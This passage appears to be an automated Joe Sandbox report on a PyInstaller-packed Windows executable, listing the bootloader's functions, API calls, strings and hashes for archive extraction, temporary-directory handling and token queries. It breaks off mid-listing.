process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 70f35d0e66d36ee0c12c04131c66672e70214a69f3e2bc28babfc23e8b7209f8
Instruction ID: c2d361cd21ac02f42fbc834b316bad703b9ea4bbe7922868f994ac3e733a15dd
Opcode Fuzzy Hash: 70f35d0e66d36ee0c12c04131c66672e70214a69f3e2bc28babfc23e8b7209f8
Instruction Fuzzy Hash: BE327A22A0C78291FE199B25D7552B937A1AF74780F8C4036FA5DE26DEEF6CE558C300

Function 00007FF65E2A6964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E2A6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A66D9
Part of subcall function 00007FF65E2A6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A6757
Part of subcall function 00007FF65E2A6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A67A8

CreateFileW.KERNELBASE ref: 00007FF65E2A6A6A
CreateFileW.KERNEL32 ref: 00007FF65E2A6ABA
GetLastError.KERNEL32 ref: 00007FF65E2A6AEA
GetFileType.KERNELBASE ref: 00007FF65E2A6AFF
GetLastError.KERNEL32 ref: 00007FF65E2A6B09
CloseHandle.KERNEL32 ref: 00007FF65E2A6B3C
CloseHandle.KERNEL32 ref: 00007FF65E2A6C9F
CreateFileW.KERNEL32 ref: 00007FF65E2A6CD4
GetLastError.KERNEL32 ref: 00007FF65E2A6CE3

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: d0177ce1be0bee088148b4495f113e7439d53a4f72a89d66a43012e1b8f275c9
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 09C1B036B28A4285EF10CFA5D6906AC3761FB59B98F095235EE2EE7798CF78D055C300

Function 00007FF65E2883C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF65E288919,00007FF65E283FA5), ref: 00007FF65E28842B
RemoveDirectoryW.KERNEL32(?,00007FF65E288919,00007FF65E283FA5), ref: 00007FF65E2884AE
DeleteFileW.KERNELBASE(?,00007FF65E288919,00007FF65E283FA5), ref: 00007FF65E2884CD
FindNextFileW.KERNELBASE(?,00007FF65E288919,00007FF65E283FA5), ref: 00007FF65E2884DB
FindClose.KERNEL32(?,00007FF65E288919,00007FF65E283FA5), ref: 00007FF65E2884EC
RemoveDirectoryW.KERNELBASE(?,00007FF65E288919,00007FF65E283FA5), ref: 00007FF65E2884F5

Strings

%s\*, xrefs: 00007FF65E2883F2

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: c2a9615965b252afcbe819d3e505cd3599a4b7872b6bf1eefe3dbb098635dbc3
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: 82416222A0C64385EE249B64E7441BA73A1FBA4754F881272F55DE2A9CEF7CE545C700

Function 00007FF65E289280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF65E2892B3
FindClose.KERNELBASE ref: 00007FF65E2892C2

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: c1165587a0c225283c145e2e84010987ca35b66f3e920d1931b50ea4d07d27fa
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 21F0C822A1C74186FFA08B60B78976A7350EB94324F0C0335E96DA2ADDDF7CD048CA00

Function 00007FF65E2A08C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 237fa8d459c5d11eae1bba494416b753c006fbba9c027a8b8839988129060696
Instruction ID: 1399e8a982d23536aec3e4898cd328f57b866e8675aa60ac178d943ffba745d1
Opcode Fuzzy Hash: 237fa8d459c5d11eae1bba494416b753c006fbba9c027a8b8839988129060696
Instruction Fuzzy Hash: C502AA22B5DA4240FE659F119710A793780BF61BA0F5D5A34FE5EE63DADEBCE4408302

Function 00007FF65E281950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E287F90: _fread_nolock.LIBCMT ref: 00007FF65E28803A

_fread_nolock.LIBCMT ref: 00007FF65E281A1B

Part of subcall function 00007FF65E282910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF65E281B6A), ref: 00007FF65E28295E

Strings

MEI, xrefs: 00007FF65E281991
Could not allocate memory for archive structure!, xrefs: 00007FF65E281A61
Failed to read cookie!, xrefs: 00007FF65E281A2B
Failed to seek to cookie position!, xrefs: 00007FF65E2819EE
calloc, xrefs: 00007FF65E281A68
fread, xrefs: 00007FF65E281A32, 00007FF65E281B5C
malloc, xrefs: 00007FF65E281B22
Could not read full TOC!, xrefs: 00007FF65E281B55
Could not allocate buffer for TOC!, xrefs: 00007FF65E281B1B
Error on file., xrefs: 00007FF65E281B8D
fseek, xrefs: 00007FF65E2819F5

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 935fd2eea7ebb7e39a44c0ac0c5bb94dcb31adeab0dcd688edef334786e7c957
Instruction ID: 2955832ee81c1f26e9cabaef6cd2b7726c41183c06a2190047b33413ec606662
Opcode Fuzzy Hash: 935fd2eea7ebb7e39a44c0ac0c5bb94dcb31adeab0dcd688edef334786e7c957
Instruction Fuzzy Hash: D4819D71A0C78686EF209B25D3446B933A1AF68784F484431F98EE778EDE7CE585C741

Function 00007FF65E281600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF65E2816DA
Failed to create symbolic link %s!, xrefs: 00007FF65E281622
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF65E2817DF
fread, xrefs: 00007FF65E2817E6
malloc, xrefs: 00007FF65E281749
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF65E281742
fwrite, xrefs: 00007FF65E2817D1
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF65E2817CA
Failed to extract %s: failed to open target file!, xrefs: 00007FF65E28165C
fseek, xrefs: 00007FF65E2816E1
Failed to extract %s: failed to open archive file!, xrefs: 00007FF65E2816A2
fopen, xrefs: 00007FF65E281663

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 85a2b5521d0669672b47b55b308223b2fdea38ff8534affe5992005950969590
Instruction ID: 5648c308de843ea297d5dc15d8658f66d1b6e2ec3ccce06f07968131715519a4
Opcode Fuzzy Hash: 85a2b5521d0669672b47b55b308223b2fdea38ff8534affe5992005950969590
Instruction Fuzzy Hash: D9518A61A0C74782EE10AB2297405A93391BFA4794F884536FE4CE7ADEEF7CE585C700

Function 00007FF65E288660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF65E283CBB), ref: 00007FF65E288704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF65E283CBB), ref: 00007FF65E28870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF65E283CBB), ref: 00007FF65E28874C

Part of subcall function 00007FF65E288830: GetEnvironmentVariableW.KERNEL32(00007FF65E28388E), ref: 00007FF65E288867
Part of subcall function 00007FF65E288830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF65E288889

Part of subcall function 00007FF65E298238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E298251

Part of subcall function 00007FF65E282810: MessageBoxW.USER32 ref: 00007FF65E2828EA

Strings

TMP, xrefs: 00007FF65E28869C, 00007FF65E2887A3
LOADER: failed to set the TMP environment variable., xrefs: 00007FF65E2886DC
TMP, xrefs: 00007FF65E2886C2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF65E28877E
_MEI%d, xrefs: 00007FF65E288712

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction ID: aaa7ee9585c6538495acb7c5d719b46d21ceb7598e973dad5a0f05597fc87f8f
Opcode Fuzzy Hash: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction Fuzzy Hash: 7641BE12A1D74244FE18A765AB512B93291AFA47C8F8C1132FD0DE7BDEDE3CE4418300

Function 00007FF65E281210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF65E2812BA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF65E2812EF
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF65E28141E
malloc, xrefs: 00007FF65E2812C1, 00007FF65E2812F6
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF65E281276
1.3.1, xrefs: 00007FF65E281249

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: ab383ac4b995131bdd40696453c0f16ebeee9cffe796343d9728e2385cbc1d23
Instruction ID: 361a7965764dfc78baa3e4ad746461db7474328e1aaed3a7052d0dcef977a902
Opcode Fuzzy Hash: ab383ac4b995131bdd40696453c0f16ebeee9cffe796343d9728e2385cbc1d23
Instruction Fuzzy Hash: 64517822A0C74285EE60AB12A7503BA7391ABA5B94F8C5135FD4DE7AD9EE3CE541C700

Function 00007FF65E29ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF65E29F0AA,?,?,-00000018,00007FF65E29AD53,?,?,?,00007FF65E29AC4A,?,?,?,00007FF65E295F3E), ref: 00007FF65E29EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF65E29F0AA,?,?,-00000018,00007FF65E29AD53,?,?,?,00007FF65E29AC4A,?,?,?,00007FF65E295F3E), ref: 00007FF65E29EE98

Strings

api-ms-, xrefs: 00007FF65E29EDD6
ext-ms-, xrefs: 00007FF65E29EDE9

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 190975a664ca8b879e9bce28240c6f52aefcaf1cdcc129ee6c34411143d0014c
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 5941BF31B19A1241EF158B269B0067532E5BF69BA0F8C6539FD5DE778CEE7CE4858200

Function 00007FF65E2836B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF65E283804), ref: 00007FF65E2836E1
GetLastError.KERNEL32(?,00007FF65E283804), ref: 00007FF65E2836EB

Part of subcall function 00007FF65E282C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF65E283706,?,00007FF65E283804), ref: 00007FF65E282C9E
Part of subcall function 00007FF65E282C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF65E283706,?,00007FF65E283804), ref: 00007FF65E282D63
Part of subcall function 00007FF65E282C50: MessageBoxW.USER32 ref: 00007FF65E282D99

Strings

Failed to obtain executable path., xrefs: 00007FF65E2836F3
Failed to resolve full path to executable %ls., xrefs: 00007FF65E283739
GetModuleFileNameW, xrefs: 00007FF65E2836FA
Failed to convert executable path to UTF-8., xrefs: 00007FF65E283790
\\?\, xrefs: 00007FF65E28375A

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: 1aed268da54980dbcc0a3475f997841fd5111a5b9c2872efeebdc468a0c0cdb9
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: A9215161F1C74281FE209724EB153BA3291BFA8354F884136F69EE66DDEE6CE504C700

Function 00007FF65E29BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29BE89

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction ID: 3b3a9a25816a944e00a5cd0b7f45dcc2abe5ed9bd6c8b1f912fbded14ea25787
Opcode Fuzzy Hash: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction Fuzzy Hash: 32C10522A0CB8691EE609B1597402BD3B56FBA1BC0F5D2131FA4EE3799CE7CE4858714

Function 00007FF65E288570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF65E288590
OpenProcessToken.ADVAPI32 ref: 00007FF65E2885A3
GetTokenInformation.KERNELBASE ref: 00007FF65E2885C8
GetLastError.KERNEL32 ref: 00007FF65E2885D2
GetTokenInformation.KERNELBASE ref: 00007FF65E288612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF65E28862E
CloseHandle.KERNEL32 ref: 00007FF65E288646

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction ID: 88d25a28f14b965947faa46e3455ce9b7f29d5039ded7c519c6a1774e2ce05b8
Opcode Fuzzy Hash: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction Fuzzy Hash: DD215E31A0C74342EE148B55B78422AB7A1EFA57A0F980235FA6DD3AECDFBCD4458700

Function 00007FF65E2890E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E288570: GetCurrentProcess.KERNEL32 ref: 00007FF65E288590
Part of subcall function 00007FF65E288570: OpenProcessToken.ADVAPI32 ref: 00007FF65E2885A3
Part of subcall function 00007FF65E288570: GetTokenInformation.KERNELBASE ref: 00007FF65E2885C8
Part of subcall function 00007FF65E288570: GetLastError.KERNEL32 ref: 00007FF65E2885D2
Part of subcall function 00007FF65E288570: GetTokenInformation.KERNELBASE ref: 00007FF65E288612
Part of subcall function 00007FF65E288570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF65E28862E
Part of subcall function 00007FF65E288570: CloseHandle.KERNEL32 ref: 00007FF65E288646

LocalFree.KERNEL32(?,00007FF65E283C55), ref: 00007FF65E28916C
LocalFree.KERNEL32(?,00007FF65E283C55), ref: 00007FF65E289175

Strings

S-1-3-4, xrefs: 00007FF65E289121
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF65E289142
D:(A;;FA;;;%s), xrefs: 00007FF65E289157
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF65E289183

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction ID: e9d8dab3fe82b62e0af5a68f00cf7bda707a0707b00caa4a4a15cef69107325d
Opcode Fuzzy Hash: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction Fuzzy Hash: E9211E61A0C74281EE14AB10E7152EA72A5FFA4780F8C5435FA4DE3B9ADF7CD9458740

Function 00007FF65E29CF60 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF65E29CF4B), ref: 00007FF65E29D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF65E29CF4B), ref: 00007FF65E29D107

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
